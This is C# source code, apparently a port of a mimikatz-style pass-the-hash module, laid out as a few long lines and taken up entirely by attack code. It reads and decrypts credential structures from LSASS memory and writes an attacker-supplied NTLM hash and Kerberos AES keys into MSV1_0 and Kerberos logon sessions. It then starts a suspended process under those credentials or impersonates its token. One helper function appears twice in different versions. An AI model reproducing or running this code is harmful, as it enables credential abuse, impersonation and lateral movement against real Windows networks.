public static int WriteMsvCredentials(IntPtr hLsass, OSVersionHelper oshelper, byte[] iv, byte[] aeskey, byte[] deskey, List <Logon> logonlist, ref SEKURLSA_PTH_DATA pthData) { foreach (Logon logon in logonlist) { LUID lu = pthData.LogonId; if (pthData.LogonId.HighPart == logon.LogonId.HighPart && pthData.LogonId.LowPart == logon.LogonId.LowPart) { IntPtr lsasscred = logon.pCredentials; LUID luid = logon.LogonId; if (lsasscred != IntPtr.Zero) { KIWI_MSV1_0_PRIMARY_CREDENTIALS primaryCredentials; while (lsasscred != IntPtr.Zero) { byte[] credentialsBytes = Utility.ReadFromLsass(ref hLsass, lsasscred, Marshal.SizeOf(typeof(KIWI_MSV1_0_CREDENTIALS))); IntPtr pPrimaryCredentials = new IntPtr(BitConverter.ToInt64(credentialsBytes, Utility.FieldOffset <KIWI_MSV1_0_CREDENTIALS>("PrimaryCredentials"))); IntPtr pNext = new IntPtr(BitConverter.ToInt64(credentialsBytes, Utility.FieldOffset <KIWI_MSV1_0_CREDENTIALS>("next"))); lsasscred = pPrimaryCredentials; while (lsasscred != IntPtr.Zero) { byte[] primaryCredentialsBytes = Utility.ReadFromLsass(ref hLsass, lsasscred, Marshal.SizeOf(typeof(KIWI_MSV1_0_PRIMARY_CREDENTIALS))); primaryCredentials = Utility.ReadStruct <KIWI_MSV1_0_PRIMARY_CREDENTIALS>(primaryCredentialsBytes); primaryCredentials.Credentials = Utility.ExtractUnicodeString(hLsass, IntPtr.Add(lsasscred, oshelper.MSV1CredentialsOffset)); primaryCredentials.Primary = Utility.ExtractUnicodeString(hLsass, IntPtr.Add(lsasscred, oshelper.MSV1PrimaryOffset)); if (Utility.ExtractANSIStringString(hLsass, primaryCredentials.Primary).Equals("Primary")) { byte[] msvCredentialsBytes = Utility.ReadFromLsass(ref hLsass, primaryCredentials.Credentials.Buffer, primaryCredentials.Credentials.MaximumLength); byte[] msvDecryptedCredentialsBytes = BCrypt.DecryptCredentials(msvCredentialsBytes, iv, aeskey, deskey); msvDecryptedCredentialsBytes[oshelper.IsShaOwPasswordOffset] = Convert.ToByte(false); msvDecryptedCredentialsBytes[oshelper.IsLmOwfPasswordOffset] = Convert.ToByte(false); msvDecryptedCredentialsBytes[oshelper.IsIsoOffset] = Convert.ToByte(false); byte[] zeroLM = new byte[LM_NTLM_HASH_LENGTH]; byte[] zeroSHA = new byte[SHA_DIGEST_LENGTH]; if (oshelper.IsDPAPIProtectedOffset != 0) { msvDecryptedCredentialsBytes[oshelper.IsDPAPIProtectedOffset] = Convert.ToByte(false); Array.Copy(zeroLM, 0, msvDecryptedCredentialsBytes, oshelper.DPAPIProtectedOffset, LM_NTLM_HASH_LENGTH); } Array.Copy(zeroLM, 0, msvDecryptedCredentialsBytes, oshelper.LmOwfPasswordOffset, LM_NTLM_HASH_LENGTH); Array.Copy(zeroSHA, 0, msvDecryptedCredentialsBytes, oshelper.ShaOwPasswordOffset, SHA_DIGEST_LENGTH); if (pthData.NtlmHash != null) { msvDecryptedCredentialsBytes[oshelper.IsNtOwfPasswordOffset] = Convert.ToByte(true); Array.Copy(pthData.NtlmHash, 0, msvDecryptedCredentialsBytes, oshelper.NtOwfPasswordOffset, LM_NTLM_HASH_LENGTH); } else { msvDecryptedCredentialsBytes[oshelper.IsNtOwfPasswordOffset] = Convert.ToByte(false); Array.Copy(zeroLM, 0, msvDecryptedCredentialsBytes, oshelper.NtOwfPasswordOffset, LM_NTLM_HASH_LENGTH); } byte[] msvEncryptedCredentialsBytes = BCrypt.EncryptCredentials(msvDecryptedCredentialsBytes, iv, aeskey, deskey); pthData.isReplaceOk = Utility.WriteToLsass(ref hLsass, primaryCredentials.Credentials.Buffer, msvEncryptedCredentialsBytes); if (pthData.isReplaceOk) { return(0); } else { Console.WriteLine(" Error replacing credential"); return(1); } } lsasscred = primaryCredentials.next; } lsasscred = pNext; } } } } return(0); }
public static void WriteKerberosKeys(ref IntPtr hLsass, KerberosLogonItem krbrLogonSession, OSVersionHelper oshelper, byte[] iv, byte[] aeskey, byte[] deskey, ref SEKURLSA_PTH_DATA pthData) { Type kerberossessiontype = oshelper.KerberosLogonSessionType; Type kerberoshshtype = oshelper.KerberosHashType; byte[] krbrLogonSessionBites = krbrLogonSession.LogonSessionBytes; byte[] encNtlmHashBytes = null; byte[] encAes128Bytes = null; byte[] encAes256Bytes = null; IntPtr pKeyList = new IntPtr(BitConverter.ToInt64(krbrLogonSessionBites, oshelper.KerberosLogonSessionKeyListOffset)); if (pKeyList == IntPtr.Zero) { return; } LUID luid = Utility.ReadStruct <LUID>(Utility.GetBytes(krbrLogonSessionBites, oshelper.KerberosSessionLocallyUniqueIdentifierOffset, Marshal.SizeOf(typeof(LUID)))); if (pthData.LogonId.HighPart != luid.HighPart || pthData.LogonId.LowPart != luid.LowPart) { return; } byte[] keylistBytes = Utility.ReadFromLsass(ref hLsass, pKeyList, Marshal.SizeOf(typeof(KIWI_KERBEROS_KEYS_LIST_6))); if (pthData.NtlmHash != null) { encNtlmHashBytes = Crypto.BCrypt.EncryptCredentials(pthData.NtlmHash, iv, aeskey, deskey); } if (pthData.Aes128Key != null) { encAes128Bytes = Crypto.BCrypt.EncryptCredentials(pthData.Aes128Key, iv, aeskey, deskey); } if (pthData.Aes256Key != null) { encAes256Bytes = Crypto.BCrypt.EncryptCredentials(pthData.Aes256Key, iv, aeskey, deskey); } int items = BitConverter.ToInt32(keylistBytes, Utility.FieldOffset <KIWI_KERBEROS_KEYS_LIST_6>("cbItem")); int structsize = Marshal.SizeOf(kerberoshshtype); int readsize = items * structsize; byte[] hashpassBytes = Utility.ReadFromLsass(ref hLsass, IntPtr.Add(pKeyList, Marshal.SizeOf(typeof(KIWI_KERBEROS_KEYS_LIST_6))), readsize); pthData.isReplaceOk = true; for (int i = 0; (i < items) && pthData.isReplaceOk; i++) { byte[] bytesToWrite = null; int currentindex = (i * structsize) + oshelper.KerberosHashGenericOffset; byte[] entryBytes = Utility.GetBytes(hashpassBytes, currentindex, Marshal.SizeOf(typeof(KERB_HASHPASSWORD_GENERIC))); KERB_HASHPASSWORD_GENERIC entry = Utility.ReadStruct <KERB_HASHPASSWORD_GENERIC>(entryBytes); string keyentry = KerberosTicketEtype((int)entry.Type); UNICODE_STRING checksum = new UNICODE_STRING { Length = (ushort)entry.Size, MaximumLength = (ushort)entry.Size, Buffer = entry.Checksump }; if (encNtlmHashBytes != null && ((entry.Type != KERB_ETYPE_AES128_CTS_HMAC_SHA1_96) && (entry.Type != KERB_ETYPE_AES256_CTS_HMAC_SHA1_96)) && ((int)entry.Size == LM_NTLM_HASH_LENGTH)) { bytesToWrite = encNtlmHashBytes; } else if (encAes128Bytes != null && (entry.Type == KERB_ETYPE_AES128_CTS_HMAC_SHA1_96) && ((int)entry.Size == AES_128_KEY_LENGTH)) { bytesToWrite = encAes128Bytes; } else if (encAes256Bytes != null && (entry.Type == KERB_ETYPE_AES256_CTS_HMAC_SHA1_96) && ((int)entry.Size == AES_256_KEY_LENGTH)) { bytesToWrite = encAes256Bytes; } if (bytesToWrite != null) { pthData.isReplaceOk = Utility.WriteToLsass(ref hLsass, checksum.Buffer, bytesToWrite); } } if (pthData.isReplaceOk) { byte[] pasreplace = new byte[oshelper.KerberosPasswordEraseSize]; pthData.isReplaceOk = Utility.WriteToLsass(ref hLsass, IntPtr.Add(krbrLogonSession.LogonSessionAddress, oshelper.KerberosOffsetPasswordErase), pasreplace); } }
private static void Pth_luid(IntPtr hProcess, IntPtr lsasrvMem, IntPtr kerberos, OSVersionHelper oshelper, byte[] iv, byte[] aeskey, byte[] deskey, ref SEKURLSA_PTH_DATA data) { List <Logon> logonlist = new List <Logon>(); Module.LogonSessions.FindCredentials(hProcess, lsasrvMem, oshelper, iv, aeskey, deskey, logonlist); Console.WriteLine("[*] | LUID {0} ; {1} ({2:X}:{3:X})", data.LogonId.HighPart, data.LogonId.LowPart, data.LogonId.HighPart, data.LogonId.LowPart); Module.Msv1.WriteMsvCredentials(hProcess, oshelper, iv, aeskey, deskey, logonlist, ref data); List <KerberosLogonItem> klogonlist = Module.Kerberos.FindCredentials(hProcess, kerberos, oshelper, iv, aeskey, deskey, logonlist); foreach (KerberosLogonItem s in klogonlist) { Module.Kerberos.WriteKerberosKeys(ref hProcess, s, oshelper, iv, aeskey, deskey, ref data); } Console.WriteLine("[*]"); }
/*[StructLayout(LayoutKind.Sequential)] * public struct SEKURLSA_PTH_DATA * { * public IntPtr LogonId;//LUID * public IntPtr NtlmHash;//BYTE * public IntPtr Aes256Key;//BYTE * public IntPtr Aes128Key;//BYTE * public bool isReplaceOk; * }*/ public static int CreateProcess(IntPtr hProcess, IntPtr lsasrvMem, IntPtr kerberos, OSVersionHelper oshelper, byte[] iv, byte[] aeskey, byte[] deskey, string user, string domain, string ntlmHash = null, string aes128 = null, string aes256 = null, string rc4 = null, string binary = "cmd.exe", string arguments = "", string luid = null, bool impersonate = false) { TOKEN_STATISTICS tokenStats = new TOKEN_STATISTICS(); string lcommand = string.Empty; byte[] aes128bytes = null; byte[] aes256bytes = null; SEKURLSA_PTH_DATA data = new SEKURLSA_PTH_DATA(); byte[] ntlmHashbytes = null; string lntlmhash = string.Empty; if (!string.IsNullOrEmpty(luid)) { tokenStats.AuthenticationId.HighPart = 0; tokenStats.AuthenticationId.LowPart = uint.Parse(luid); data.LogonId = tokenStats.AuthenticationId; } else { if (string.IsNullOrEmpty(user)) { Console.WriteLine("[x] Missing required parameter user"); return(1); } if (string.IsNullOrEmpty(domain)) { Console.WriteLine("[x] Missing required parameter domain"); return(1); } if (impersonate) { lcommand = Assembly.GetExecutingAssembly().CodeBase; } else { lcommand = binary; } Console.WriteLine("[*] user\t: {0}", user); Console.WriteLine("[*] domain\t: {0}", domain); Console.WriteLine("[*] program\t: {0}", lcommand); Console.WriteLine("[*] impers.\t: {0}", impersonate); } try { if (!string.IsNullOrEmpty(aes128)) { aes128bytes = Utility.StringToByteArray(aes128); if (aes128bytes.Length != AES_128_KEY_LENGTH) { throw new System.ArgumentException(); } data.Aes128Key = aes128bytes; Console.WriteLine("[*] AES128\t: {0}", Utility.PrintHexBytes(aes128bytes)); } } catch (Exception) { Console.WriteLine("[x] Invalid aes128 key"); return(1); } try { if (!string.IsNullOrEmpty(aes256)) { aes256bytes = Utility.StringToByteArray(aes256); if (aes256bytes.Length != AES_256_KEY_LENGTH) { throw new System.ArgumentException(); } data.Aes256Key = aes256bytes; Console.WriteLine("[*] AES256\t: {0}", Utility.PrintHexBytes(aes256bytes)); } } catch (Exception) { Console.WriteLine("[x] Invalid aes128 key"); return(1); } try { if (!string.IsNullOrEmpty(rc4)) { ntlmHashbytes = Utility.StringToByteArray(rc4); } if (!string.IsNullOrEmpty(ntlmHash)) { ntlmHashbytes = Utility.StringToByteArray(ntlmHash); } if (ntlmHashbytes.Length != Msv1.LM_NTLM_HASH_LENGTH) { throw new System.ArgumentException(); } data.NtlmHash = ntlmHashbytes; Console.WriteLine("[*] NTLM\t: {0}", Utility.PrintHashBytes(ntlmHashbytes)); } catch (Exception) { Console.WriteLine("[x] Invalid Ntlm hash/rc4 key"); return(1); } if (data.NtlmHash != null || data.Aes128Key != null || data.Aes256Key != null) { if (!string.IsNullOrEmpty(luid)) { Console.WriteLine("[*] mode\t: replacing NTLM/RC4 key in a session"); Pth_luid(hProcess, lsasrvMem, kerberos, oshelper, iv, aeskey, deskey, ref data); } else if (!string.IsNullOrEmpty(user)) { PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); if (CreateProcessWithLogonW(user, "", domain, @"C:\Windows\System32\", binary, arguments, CreationFlags.CREATE_SUSPENDED, ref pi)) { Console.WriteLine("[*] | PID {0}", pi.dwProcessId); Console.WriteLine("[*] | TID {0}", pi.dwThreadId); IntPtr hToken = IntPtr.Zero; if (OpenProcessToken(pi.hProcess, TOKEN_READ | (impersonate ? TOKEN_DUPLICATE : 0), out hToken)) { IntPtr hTokenInformation = Marshal.AllocHGlobal(Marshal.SizeOf(tokenStats)); Marshal.StructureToPtr(tokenStats, hTokenInformation, false); uint retlen = 0; if (GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenStatistics, hTokenInformation, (uint)Marshal.SizeOf(tokenStats), out retlen)) { tokenStats = (TOKEN_STATISTICS)Marshal.PtrToStructure(hTokenInformation, typeof(TOKEN_STATISTICS)); data.LogonId = tokenStats.AuthenticationId; Pth_luid(hProcess, lsasrvMem, kerberos, oshelper, iv, aeskey, deskey, ref data); if (data.isReplaceOk) { if (impersonate) { SECURITY_ATTRIBUTES at = new SECURITY_ATTRIBUTES(); IntPtr hNewToken = IntPtr.Zero; if (DuplicateTokenEx(hToken, TOKEN_QUERY | TOKEN_IMPERSONATE, ref at, (int)SECURITY_IMPERSONATION_LEVEL.SecurityDelegation, (int)TOKEN_TYPE.TokenImpersonation, ref hNewToken)) { if (SetThreadToken(IntPtr.Zero, hNewToken)) { Console.WriteLine("[*] ** Token Impersonation **"); } else { Console.WriteLine("[x] Error SetThreadToken"); return(1); } CloseHandle(hNewToken); } else { Console.WriteLine("[x] Error DuplicateTokenEx"); return(1); } NtTerminateProcess(pi.hProcess, (uint)NTSTATUS.Success); } else { NtResumeProcess(pi.hProcess); } } else { NtTerminateProcess(pi.hProcess, (uint)NTSTATUS.ProcessIsTerminating); } } else { Console.WriteLine("[x] Error GetTokenInformazion"); return(1); } } else { Console.WriteLine("[x] Error open process"); return(1); } } else { Console.WriteLine("[x] Error process create"); return(1); } } else { Console.WriteLine("[x] Bad user or LUID"); return(1); } } else { Console.WriteLine("[x] Missing at least one argument : ntlm/rc4 OR aes128 OR aes256"); return(1); } return(0); }
private static void Pth_luid(IntPtr hProcess, IntPtr lsasrvMem, IntPtr kerberos, OSVersionHelper oshelper, byte[] iv, byte[] aeskey, byte[] deskey, ref SEKURLSA_PTH_DATA data) { List <Logon> logonlist = new List <Logon>(); Module.LogonSessions.FindCredentials(hProcess, lsasrvMem, oshelper, iv, aeskey, deskey, logonlist); Module.Msv1.WriteMsvCredentials(hProcess, oshelper, iv, aeskey, deskey, logonlist, ref data); List <KerberosLogonItem> klogonlist = Module.SharpKerberos.FindCredentials(hProcess, kerberos, oshelper, iv, aeskey, deskey, logonlist); foreach (KerberosLogonItem s in klogonlist) { Module.SharpKerberos.WriteKerberosKeys(ref hProcess, s, oshelper, iv, aeskey, deskey, ref data); } }